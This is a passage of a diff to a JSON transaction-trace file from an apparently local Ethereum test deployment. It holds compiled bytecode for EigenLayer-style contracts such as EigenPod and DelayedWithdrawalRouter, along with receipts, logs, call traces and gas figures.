260200183836020028082843760009201919091525061483492505050565b90506142a961426887806154d1565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050506101608801358385613400565b6143155760405162461bcd60e51b81526020600482015260436024820152600080516020615bf083398151915260448201527f616c3a20496e76616c6964207769746864726177616c206d65726b6c6520707260648201526237b7b360e91b608482015260a4016106a4565b505050505050505050565b6000610d048260018151811061346957613469615517565b6000610d048260038151811061346957613469615517565b600060206120e38361012001516147cd565b604080518082019091526000808252602082015260007f00000000000000000000000000000000000000000000000000000007735940006001600160401b0316846001600160401b031611156143d957507f00000000000000000000000000000000000000000000000000000007735940006143dc565b50825b60408051808201909152600080825260208201526143fa8286615760565b6001600160401b03908116825260348054849260009161441c9185911661581a565b92506101000a8154816001600160401b0302191690836001600160401b0316021790555061444e8285602001516136e5565b602082015260028460600151600281111561446b5761446b614e91565b1461448d576039805490600061448083615bc5565b9091555050600260608501525b600060208086018281528a83526036909152604091829020865181549251938801516001600160401b03908116600160801b0267ffffffffffffffff60801b19958216600160401b026001600160801b0319909516929091169190911792909217928316821781556060870151879391929091839160ff60c01b191668ffffffffffffffffff60801b1990911617600160c01b83600281111561453257614532614e91565b0217905550506040805164ffffffffff8c1681526001600160401b038a8116602083015288168183015290516001600160a01b03891692507fb76a93bb649ece524688f1a01d184e0bbebcda58eae80c28a898bec3fb5a09639181900360600190a298975050505050505050565b60408051808201909152600080825260208201526040805164ffffffffff871681526001600160401b0380871660208301528416918101919091526001600160a01b038416907f8a7335714231dbd551aaba6314f4a97a14c201e53a3e25e1140325cdf67d7a4e9060600160405180910390a2603880548391906000906146319084906001600160401b031661581a565b92506101000a8154816001600160401b0302191690836001600160401b031602179055506040518060400160405280836001600160401b0316815260200160008152509050949350505050565b6000835160001415801561469d57506020845161469b9190615738565b155b61472c5760405162461bcd60e51b815260206004820152605460248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f665368613260448201527f35363a2070726f6f66206c656e6774682073686f756c642062652061206e6f6e60648201527316bd32b9379036bab63a34b836329037b310199960611b608482015260a4016106a4565b604080516020808201909252848152905b855181116147c357614750600285615738565b600003614786578151600052808601516020526020826040600060026107d05a03fa61477b57600080fd5b6002840493506147b1565b8086015160005281516020526020826040600060026107d05a03fa6147aa57600080fd5b6002840493505b6147bc602082614c64565b905061473d565b5051949350505050565b60f881901c60e882901c61ff00161760d882901c62ff0000161760c882901c63ff000000161764ff0000000060b883901c161765ff000000000060a883901c161766ff000000000000609883901c161767ff0000000000000060889290921c919091161790565b60008060028351614845919061574c565b90506000816001600160401b03811115614861576148616150b9565b60405190808252806020026020018201604052801561488a578160200160208202803683370190505b50905060005b82811015614987576002856148a583836157a0565b815181106148b5576148b5615517565b6020026020010151868360026148cb91906157a0565b6148d6906001614c64565b815181106148e6576148e6615517565b6020026020010151604051602001614908929190918252602082015260400190565b60408051601f1981840301815290829052614922916158a5565b602060405180830381855afa15801561493f573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061496291906154b8565b82828151811061497457614974615517565b6020908102919091010152600101614890565b5061499360028361574c565b91505b8115614aa95760005b82811015614a96576002826149b483836157a0565b815181106149c4576149c4615517565b6020026020010151838360026149da91906157a0565b6149e5906001614c64565b815181106149f5576149f5615517565b6020026020010151604051602001614a17929190918252602082015260400190565b60408051601f1981840301815290829052614a31916158a5565b602060405180830381855afa158015614a4e573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190614a7191906154b8565b828281518110614a8357614a83615517565b602090810291909101015260010161499f565b50614aa260028361574c565b9150614996565b80600081518110614abc57614abc615517565b602002602001015192505050919050565b6060614adc8484600085614ae4565b949350505050565b606082471015614b455760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b60648201526084016106a4565b6001600160a01b0385163b614b9c5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016106a4565b600080866001600160a01b03168587604051614bb891906158a5565b60006040518083038185875af1925050503d8060008114614bf5576040519150601f19603f3d011682016040523d82523d6000602084013e614bfa565b606091505b5091509150614c0a828286614c15565b979650505050505050565b60608315614c245750816136fd565b825115614c345782518084602001fd5b8160405162461bcd60e51b81526004016106a49190615bdc565b634e487b7160e01b600052601160045260246000fd5b80820180821115610d0457610d04614c4e565b6001600160401b038116811461200057600080fd5b8035614c9781614c77565b919050565b60008060408385031215614caf57600080fd5b823591506020830135614cc181614c77565b809150509250929050565b600060408284031215614cde57600080fd5b50919050565b60008083601f840112614cf657600080fd5b5081356001600160401b03811115614d0d57600080fd5b6020830191508360208260051b8501011115614d2857600080fd5b9250929050565b60008060008060008060008060a0898b031215614d4b57600080fd5b8835614d5681614c77565b975060208901356001600160401b03811115614d7157600080fd5b614d7d8b828c01614ccc565b97505060408901356001600160401b03811115614d9957600080fd5b614da58b828c01614ce4565b90975095505060608901356001600160401b03811115614dc457600080fd5b614dd08b828c01614ce4565b90955093505060808901356001600160401b03811115614def57600080fd5b614dfb8b828c01614ce4565b999c989b5096995094979396929594505050565b60008083601f840112614e2157600080fd5b5081356001600160401b03811115614e3857600080fd5b602083019150836020828501011115614d2857600080fd5b60008060208385031215614e6357600080fd5b82356001600160401b03811115614e7957600080fd5b614e8585828601614e0f565b90969095509350505050565b634e487b7160e01b600052602160045260246000fd5b60038110614ec557634e487b7160e01b600052602160045260246000fd5b9052565b60208101610d048284614ea7565b600060208284031215614ee957600080fd5b5035919050565b60006080820190506001600160401b0383511682526001600160401b0360208401511660208301526001600160401b0360408401511660408301526060830151614f3d6060840182614ea7565b5092915050565b600080600080600060608688031215614f5c57600080fd5b85356001600160401b03811115614f7257600080fd5b614f7e88828901614e0f565b90965094505060208601356001600160401b03811115614f9d57600080fd5b614fa988828901614e0f565b96999598509660400135949350505050565b60008060008060008060008060a0898b031215614fd757600080fd5b8835614fe281614c77565b975060208901356001600160401b03811115614ffd57600080fd5b6150098b828c01614ce4565b90985096505060408901356001600160401b0381111561502857600080fd5b6150348b828c01614ccc565b95505060608901356001600160401b03811115614dc457600080fd5b6001600160a01b038116811461200057600080fd5b8035614c9781615050565b6000806040838503121561508357600080fd5b823561508e81615050565b946020939093013593505050565b6000602082840312156150ae57600080fd5b81356136fd81615050565b634e487b7160e01b600052604160045260246000fd5b60405161018081016001600160401b03811182821017156150f2576150f26150b9565b60405290565b604051601f8201601f191681016001600160401b0381118282101715615120576151206150b9565b604052919050565b60006001600160401b03821115615141576151416150b9565b5060051b60200190565b600082601f83011261515c57600080fd5b813561516f61516a82615128565b6150f8565b8082825260208201915060208360051b86010192508583111561519157600080fd5b602085015b838110156151ae578035835260209283019201615196565b5095945050505050565b6000806000606084860312156151cd57600080fd5b83356001600160401b038111156151e357600080fd5b8401601f810186136151f457600080fd5b803561520261516a82615128565b8082825260208201915060208360051b85010192508883111561522457600080fd5b6020840193505b8284101561524f57833561523e81615050565b82526020938401939091019061522b565b955050505060208401356001600160401b0381111561526d57600080fd5b6152798682870161514b565b92505061528860408501615065565b90509250925092565b60008060008060008060008060008060c08b8d0312156152b057600080fd5b6152b98b614c8c565b995060208b01356001600160401b038111156152d457600080fd5b6152e08d828e01614ccc565b99505060408b01356001600160401b038111156152fc57600080fd5b6153088d828e01614ce4565b90995097505060608b01356001600160401b0381111561532757600080fd5b6153338d828e01614ce4565b90975095505060808b01356001600160401b0381111561535257600080fd5b61535e8d828e01614ce4565b90955093505060a08b01356001600160401b0381111561537d57600080fd5b6153898d828e01614ce4565b915080935050809150509295989b9194979a5092959850565b6000602082840312156153b457600080fd5b815180151581146136fd57600080fd5b6020808252603e908201527f456967656e506f642e6f6e6c795768656e4e6f745061757365643a20696e646560408201527f782069732070617573656420696e20456967656e506f644d616e616765720000606082015260800190565b60208082526028908201527f456967656e506f642e6f6e6c79456967656e506f644f776e65723a206e6f74206040820152673837b227bbb732b960c11b606082015260800190565b6020808252602f908201527f456967656e506f642e6861734e6576657252657374616b65643a20726573746160408201526e1ada5b99c81a5cc8195b98589b1959608a1b606082015260800190565b6000602082840312156154ca57600080fd5b5051919050565b6000808335601e198436030181126154e857600080fd5b8301803591506001600160401b0382111561550257600080fd5b602001915036819003821315614d2857600080fd5b634e487b7160e01b600052603260045260246000fd5b60006020828403121561553f57600080fd5b813564ffffffffff811681146136fd57600080fd5b6000808335601e1984360301811261556b57600080fd5b8301803591506001600160401b0382111561558557600080fd5b6020019150600581901b3603821315614d2857600080fd5b60208082526031908201527f456967656e506f642e6f6e6c79456967656e506f644d616e616765723a206e6f6040820152703a1032b4b3b2b72837b226b0b730b3b2b960791b606082015260800190565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b60005b8381101561563257818101518382015260200161561a565b50506000910152565b60008151808452615653816020860160208601615617565b601f01601f19169290920160200192915050565b60808152600061567b60808301888a6155ee565b828103602084015261568d818861563b565b905082810360408401526156a28186886155ee565b915050826060830152979650505050505050565b602081526000614adc6020830184866155ee565b80820182811260008312801582168215821617156156ea576156ea614c4e565b505092915050565b80820260008212600160ff1b8414161561570e5761570e614c4e565b8181058314821517610d0457610d04614c4e565b634e487b7160e01b600052601260045260246000fd5b60008261574757615747615722565b500690565b60008261575b5761575b615722565b500490565b6001600160401b038281168282160390811115610d0457610d04614c4e565b6000823561017e1983360301811261579657600080fd5b9190910192915050565b8082028115828204841417610d0457610d04614c4e565b81810381811115610d0457610d04614c4e565b6001600160401b038181168382160290811690818114614f3d57614f3d614c4e565b60006001600160401b0383168061580557615805615722565b806001600160401b0384160491505092915050565b6001600160401b038181168382160190811115610d0457610d04614c4e565b80516020808301519190811015614cde5760001960209190910360031b1b16919050565b60006001820161586f5761586f614c4e565b5060010190565b60008351615888818460208801615617565b6001600160801b0319939093169190920190815260100192915050565b60008251615796818460208701615617565b600082601f8301126158c857600080fd5b81356001600160401b038111156158e1576158e16150b9565b6158f4601f8201601f19166020016150f8565b81815284602083860101111561590957600080fd5b816020850160208301376000918101602001919091529392505050565b6000610180823603121561593957600080fd5b6159416150cf565b82356001600160401b0381111561595757600080fd5b615963368286016158b7565b82525060208301356001600160401b0381111561597f57600080fd5b61598b368286016158b7565b60208301525060408301356001600160401b038111156159aa57600080fd5b6159b6368286016158b7565b60408301525060608301356001600160401b038111156159d557600080fd5b6159e1368286016158b7565b60608301525060808301356001600160401b03811115615a0057600080fd5b615a0c368286016158b7565b608083015250615a1e60a08401614c8c565b60a0820152615a2f60c08401614c8c565b60c0820152615a4060e08401614c8c565b60e082015261010083810135908201526101208084013590820152610140808401359082015261016092830135928101929092525090565b600060208284031215615a8a57600080fd5b81516136fd81614c77565b6001815b6001841115615ad057808504811115615ab457615ab4614c4e565b6001841615615ac257908102905b60019390931c928002615a99565b935093915050565b600082615ae757506001610d04565b81615af457506000610d04565b8160018114615b0a5760028114615b1457615b30565b6001915050610d04565b60ff841115615b2557615b25614c4e565b50506001821b610d04565b5060208310610133831016604e8410600b8410161715615b53575081810a610d04565b615b606000198484615a95565b8060001904821115615b7457615b74614c4e565b029392505050565b60006136fd8383615ad8565b8181036000831280158383131683831282161715614f3d57614f3d614c4e565b600060208284031215615bba57600080fd5b81356136fd81614c77565b600081615bd457615bd4614c4e565b506000190190565b6020815260006136fd602083018461563b56fe426561636f6e436861696e50726f6f66732e7665726966795769746864726177a26469706673582212204b19fa9947cba29e97e68bf849da2e6bf42b15e660145561f6083ab4b30b3f0164736f6c634300081c0033", - "nonce": 10, - "gas_used": 5181782 + "out": "0x60806040526004361061014b5760003560e01c806385594e58116100b6578063e4f4f8871161006f578063e4f4f887146103cc578063e5db06c014610405578063eb990c5914610425578063ecb7cb1b14610445578063f2fde38b14610472578063fabc1cbc1461049257600080fd5b806385594e5814610317578063886f1195146103445780638da5cb5b14610364578063c0db354c14610382578063ca661c0414610395578063d44e1b76146103ac57600080fd5b806350f73e7c1161010857806350f73e7c14610254578063595c6a67146102785780635ac86ab71461028d5780635c975abb146102cd578063715018a6146102e257806375608896146102f757600080fd5b806310d67a2f14610150578063136439dd146101725780631f39d87f146101925780633e1de008146101c85780634665bcda146101e85780634d50f9a414610234575b600080fd5b34801561015c57600080fd5b5061017061016b366004611948565b6104b2565b005b34801561017e57600080fd5b5061017061018d36600461196c565b61056e565b34801561019e57600080fd5b506101b26101ad366004611948565b6106ad565b6040516101bf91906119a3565b60405180910390f35b3480156101d457600080fd5b506101b26101e3366004611948565b610893565b3480156101f457600080fd5b5061021c7f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681565b6040516001600160a01b0390911681526020016101bf565b34801561024057600080fd5b5061017061024f36600461196c565b6109ce565b34801561026057600080fd5b5061026a60c95481565b6040519081526020016101bf565b34801561028457600080fd5b506101706109df565b34801561029957600080fd5b506102bd6102a83660046119f1565b609854600160ff9092169190911b9081161490565b60405190151581526020016101bf565b3480156102d957600080fd5b5060985461026a565b3480156102ee57600080fd5b50610170610aa6565b34801561030357600080fd5b506102bd610312366004611a14565b610aba565b34801561032357600080fd5b50610337610332366004611a14565b610b3d565b6040516101bf9190611a40565b34801561035057600080fd5b5060975461021c906001600160a01b031681565b34801561037057600080fd5b506033546001600160a01b031661021c565b610170610390366004611a4e565b610bbd565b3480156103a157600080fd5b5061026a62034bc081565b3480156103b857600080fd5b506101706103c736600461196c565b610e7c565b3480156103d857600080fd5b5061026a6103e7366004611948565b6001600160a01b0316600090815260ca602052604090206001015490565b34801561041157600080fd5b50610170610420366004611a14565b610f0e565b34801561043157600080fd5b50610170610440366004611a87565b610fa1565b34801561045157600080fd5b50610465610460366004611948565b6110c9565b6040516101bf9190611acd565b34801561047e57600080fd5b5061017061048d366004611948565b611183565b34801561049e57600080fd5b506101706104ad36600461196c565b6111f9565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610505573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105299190611b25565b6001600160a01b0316336001600160a01b0316146105625760405162461bcd60e51b815260040161055990611b42565b60405180910390fd5b61056b81611355565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156105b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105da9190611b8c565b6105f65760405162461bcd60e51b815260040161055990611bae565b6098548181161461066f5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610559565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6001600160a01b038116600090815260ca6020526040812080546001909101546060926106da8383611c0c565b90508060005b8281101561077c576001600160a01b038716600090815260ca6020526040812060010161070d8388611c1f565b8154811061071d5761071d611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810182905260c95490925061076391611c1f565b431015610773578192505061077c565b506001016106e0565b508060008167ffffffffffffffff81111561079957610799611c48565b6040519080825280602002602001820160405280156107de57816020015b60408051808201909152600080825260208201528152602001906001900390816107b75790505b50905081156108885760005b82811015610886576001600160a01b038916600090815260ca602052604090206001016108178289611c1f565b8154811061082757610827611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810191909152825183908390811061087357610873611c32565b60209081029190910101526001016107ea565b505b979650505050505050565b6001600160a01b038116600090815260ca6020526040812080546001909101546060926108c08383611c0c565b905060008167ffffffffffffffff8111156108dd576108dd611c48565b60405190808252806020026020018201604052801561092257816020015b60408051808201909152600080825260208201528152602001906001900390816108fb5790505b50905060005b828110156109c4576001600160a01b038716600090815260ca602052604090206001016109558287611c1f565b8154811061096557610965611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff169181019190915282518390839081106109b1576109b1611c32565b6020908102919091010152600101610928565b5095945050505050565b6109d661144c565b61056b816114a6565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610a27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4b9190611b8c565b610a675760405162461bcd60e51b815260040161055990611bae565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610aae61144c565b610ab8600061156e565b565b6001600160a01b038216600090815260ca60205260408120548210801590610b34575060c9546001600160a01b038416600090815260ca60205260409020600101805484908110610b0d57610b0d611c32565b600091825260209091200154610b309190600160e01b900463ffffffff16611c1f565b4310155b90505b92915050565b60408051808201909152600080825260208201526001600160a01b038316600090815260ca60205260409020600101805483908110610b7e57610b7e611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff16918101919091529392505050565b60405163a38406a360e01b81526001600160a01b038084166004830152839133917f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6169063a38406a390602401602060405180830381865afa158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b9190611b25565b6001600160a01b031614610cc75760405162461bcd60e51b815260206004820152603d60248201527f44656c617965645769746864726177616c526f757465722e6f6e6c794569676560448201527f6e506f643a206e6f7420706f644f776e6572277320456967656e506f640000006064820152608401610559565b609854600090600190811603610cef5760405162461bcd60e51b815260040161055990611c5e565b6001600160a01b038316610d855760405162461bcd60e51b815260206004820152605160248201527f44656c617965645769746864726177616c526f757465722e637265617465446560448201527f6c617965645769746864726177616c3a20726563697069656e742063616e6e6f60648201527074206265207a65726f206164647265737360781b608482015260a401610559565b346001600160e01b03811615610e75576040805180820182526001600160e01b03808416825263ffffffff43811660208085019182526001600160a01b038a16600081815260ca8352968720600190810180548083018255818a5293892088519551909616600160e01b029490961693909317939091019290925593525490917fb8f1b14c7caf74150801dcc9bc18d575cbeaf5b421943497e409df92c92e0f5991889188918691610e3691611c0c565b604080516001600160a01b0395861681529490931660208501526001600160e01b039091169183019190915260608201526080015b60405180910390a1505b5050505050565b600260655403610ece5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610559565b6002606555609854600090600190811603610efb5760405162461bcd60e51b815260040161055990611c5e565b610f0533836115c0565b50506001606555565b600260655403610f605760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610559565b6002606555609854600090600190811603610f8d5760405162461bcd60e51b815260040161055990611c5e565b610f9783836115c0565b5050600160655550565b600054610100900460ff1615808015610fc15750600054600160ff909116105b80610fdb5750303b158015610fdb575060005460ff166001145b61103e5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610559565b6000805460ff191660011790558015611061576000805461ff0019166101001790555b61106a8561156e565b611074848461172b565b61107d826114a6565b8015610e75576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15050505050565b6040805180820190915260008152606060208201526001600160a01b038216600090815260ca6020908152604080832081518083018352815481526001820180548451818702810187019095528085529195929486810194939192919084015b8282101561117557600084815260209081902060408051808201909152908401546001600160e01b0381168252600160e01b900463ffffffff1681830152825260019092019101611129565b505050915250909392505050565b61118b61144c565b6001600160a01b0381166111f05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610559565b61056b8161156e565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561124c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112709190611b25565b6001600160a01b0316336001600160a01b0316146112a05760405162461bcd60e51b815260040161055990611b42565b60985419811960985419161461131e5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610559565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016106a2565b6001600160a01b0381166113e35760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610559565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b03163314610ab85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610559565b62034bc081111561152d5760405162461bcd60e51b815260206004820152604560248201527f44656c617965645769746864726177616c526f757465722e5f7365745769746860448201527f64726177616c44656c6179426c6f636b733a206e657756616c756520746f6f206064820152646c6172676560d81b608482015260a401610559565b60c95460408051918252602082018390527f4ffb00400574147429ee377a5633386321e66d45d8b14676014b5fa393e61e9e910160405180910390a160c955565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600090815260ca602052604081208054600190910154825b84811080156115f95750816115f78285611c1f565b105b156116a6576001600160a01b038616600090815260ca602052604081206001016116238386611c1f565b8154811061163357611633611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810182905260c95490925061167991611c1f565b43101561168657506116a6565b805161169b906001600160e01b031686611c1f565b9450506001016115e2565b6116b08184611c1f565b6001600160a01b038716600090815260ca602052604090205583156116d9576116d98685611815565b7f6b7151500bd0b5cc211bcc47b3029831b769004df4549e8e1c9a69da05bb094386856117068487611c1f565b604080516001600160a01b039094168452602084019290925290820152606001610e6b565b6097546001600160a01b031615801561174c57506001600160a01b03821615155b6117ce5760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610559565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261181182611355565b5050565b804710156118655760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610559565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146118b2576040519150601f19603f3d011682016040523d82523d6000602084013e6118b7565b606091505b505090508061192e5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610559565b505050565b6001600160a01b038116811461056b57600080fd5b60006020828403121561195a57600080fd5b813561196581611933565b9392505050565b60006020828403121561197e57600080fd5b5035919050565b80516001600160e01b0316825260209081015163ffffffff16910152565b602080825282518282018190526000918401906040840190835b818110156119e6576119d0838551611985565b60209390930192604092909201916001016119bd565b509095945050505050565b600060208284031215611a0357600080fd5b813560ff8116811461196557600080fd5b60008060408385031215611a2757600080fd5b8235611a3281611933565b946020939093013593505050565b60408101610b378284611985565b60008060408385031215611a6157600080fd5b8235611a6c81611933565b91506020830135611a7c81611933565b809150509250929050565b60008060008060808587031215611a9d57600080fd5b8435611aa881611933565b93506020850135611ab881611933565b93969395505050506040820135916060013590565b6020808252825182820152828101516040808401528051606084018190526000929190910190829060808501905b808310156109c457611b0e828551611985565b604082019150602084019350600183019250611afb565b600060208284031215611b3757600080fd5b815161196581611933565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611b9e57600080fd5b8151801515811461196557600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610b3757610b37611bf6565b80820180821115610b3757610b37611bf6565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b60208082526019908201527f5061757361626c653a20696e646578206973207061757365640000000000000060408201526060019056fea26469706673582212208638e66f5dce0ad66ff3676e3d1ac48bc288949bb5c5e4f6ec1f16e582f0f63064736f6c634300081b0033", + "nonce": 18, + "gas_used": 1676224 }, "receipt": { "type": "0x2", "status": "0x1", - "cumulativeGasUsed": "0x4f1156", + "cumulativeGasUsed": "0x1993c0", "logs": [ { - "address": "0x610178da211fef7d417bc0e6fed39f05609ad788", + "address": "0x68b1d87f95878fe05b998f19b66f4baba5de1aed", "topics": [ "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" ], "data": "0x00000000000000000000000000000000000000000000000000000000000000ff" } ], - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000008000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000" }, - "block_hash": "0xcc97307be35f5f2699f45dfdf7700f341711b7411b59bdda05f72078f8d49333", - "block_number": 7 + "block_hash": "0xe18d3e619ae1bcd608138dc1aae91306a15f8224406834eee42a0ca27b41df42", + "block_number": 15 }, { "info": { - "transaction_hash": "0xd44073f051108c8f3c39edf183d0bcaea084672b414c2374c6d6750e9ef9fa27", + "transaction_hash": "0x0522948d2d86e6eefacbffda3bf89dd98f7aadad2949c5b6086eac98993fee0f", "transaction_index": 0, "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "to": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9", + "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3", "contract_address": null, "traces": [ { @@ -2978,18 +2618,18 @@ "depth": 0, "success": true, "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "address": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9", + "address": "0x5fbdb2315678afecb367f032d93f642f64180aa3", "maybe_precompile": null, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, "kind": "CALL", "value": "0x0", - "data": "0xdf5b3547000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000001000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d00000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000", + "data": "0x9623609d0000000000000000000000000165878a594ca255338adfa4d48449f69242eb8f0000000000000000000000000b306bf915c4d645ff596e518faf3f9669b97016000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c4d4540a55000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000018a0f92ad9645385e8a8f3db7d0f6cf7abbb0ad40000000000000000000000000000000000000000000000000000000000001c2000000000000000000000000000000000000000000000000000000000000003e800000000000000000000000000000000000000000000000000000000", "output": "0x", - "gas_used": 38658, - "gas_limit": 66767, - "status": "Return", + "gas_used": 145473, + "gas_limit": 223757, + "status": "Stop", "steps": [], "decoded": { "label": null, @@ -3006,23 +2646,77 @@ }, { "parent": 0, - "children": [], + "children": [ + 2 + ], "idx": 1, "trace": { "depth": 1, "success": true, - "caller": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9", - "address": "0x0dcd1bf9a1b36ce34237eeafef220932846bcd82", + "caller": "0x5fbdb2315678afecb367f032d93f642f64180aa3", + "address": "0x0165878a594ca255338adfa4d48449f69242eb8f", + "maybe_precompile": null, + "selfdestruct_address": null, + "selfdestruct_refund_target": null, + "selfdestruct_transferred_value": null, + "kind": "CALL", + "value": "0x0", + "data": "0x4f1ef2860000000000000000000000000b306bf915c4d645ff596e518faf3f9669b97016000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000c4d4540a55000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000018a0f92ad9645385e8a8f3db7d0f6cf7abbb0ad40000000000000000000000000000000000000000000000000000000000001c2000000000000000000000000000000000000000000000000000000000000003e800000000000000000000000000000000000000000000000000000000", + "output": "0x", + "gas_used": 138912, + "gas_limit": 213850, + "status": "Stop", + "steps": [], + "decoded": { + "label": null, + "return_data": null, + "call_data": null + } + }, + "logs": [ + { + "raw_log": { + "topics": [ + "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", + "0x0000000000000000000000000b306bf915c4d645ff596e518faf3f9669b97016" + ], + "data": "0x" + }, + "decoded": { + "name": null, + "params": null + }, + "position": 0 + } + ], + "ordering": [ + { + "Log": 0 + }, + { + "Call": 0 + } + ] + }, + { + "parent": 1, + "children": [], + "idx": 2, + "trace": { + "depth": 2, + "success": true, + "caller": "0x0165878a594ca255338adfa4d48449f69242eb8f", + "address": 